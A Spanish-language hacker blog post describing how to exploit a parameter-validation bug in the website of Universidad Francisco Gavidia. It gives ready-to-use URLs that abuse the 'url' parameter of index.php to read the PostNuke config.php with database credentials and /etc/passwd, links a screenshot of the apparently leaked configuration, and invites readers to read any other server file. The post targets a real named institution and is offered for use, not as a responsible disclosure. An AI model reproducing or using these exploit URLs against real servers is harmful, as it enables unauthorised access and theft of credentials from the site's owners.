hackeando la UFG(Universidad Francisco Gavidia)
Bueno le llego el turno a la Universidad gavidia.
el bug que les presento nos servira para ver el codigo fuente de cualquier archivo del servidor de principal donde esta alojado el sitio web, vamos a ver el codigo fuente de los archivos de configuracion, los usuarios y password que ocupan para conectarse a la base de datos y usuarios y password del sistema operativo.
el bug se basa en la mala validacion de los parametros que reciben el bug lo econtre en la pagina index.php :
http://www.ufg.edu.sv/ufg/index.php? module=Gateway&type=user &func=view&url=http://www.ufg.edu.sv/ufg/institucional/vision.html &jseid=1&jitemID=4
en donde ocupan una variable llamada URL el cual como se ve en el link anterior llama a otra pagina y la despliega dentro index.php.
lo que hice primero es ver si puede ejecutar codigo atravez del bug RFI, pero no sirvio asi que lo que hice fue cambiar la ruta del archivo que llama por uno que este en el servidor local asi:
url=http://... etc.
y lo cambie por un archivo que este localmente y como ellos ocupan PostNuke tiene que existir un archivo config.php donde esta la configuracion del portal osea el usuario el password de la base de datos.
url=config.php
el link completo queda asi:
http://www.ufg.edu.sv/ufg/index.php? module=Gateway&type=user&func=view&url=config.php
cuando den click en el siguiente link veran que no aparece nada pero al ver el codigo fuente de la pagina mostrada podemos ver algo asi:
http://hackersalvatrucho.googlepages.com/configdelaufg.gif
ahora que ya vimos el archivo de configuracion podemos ver otras cosas interesantes como los usuarios del sistema operativo
http://www.ufg.edu.sv/ufg/index.php? module=Gateway&type=user&func=view&url=/etc/passwd
ahora ya saben como ver cualquier archivo del servidor solo necesitan variar el parametro url y listo ;-)
si saben un poco de linux sabran que hay mas archivos interesantes que ver.
experen otros bug proximamente......
les gusto esto?? esperen mas bug proximamente.
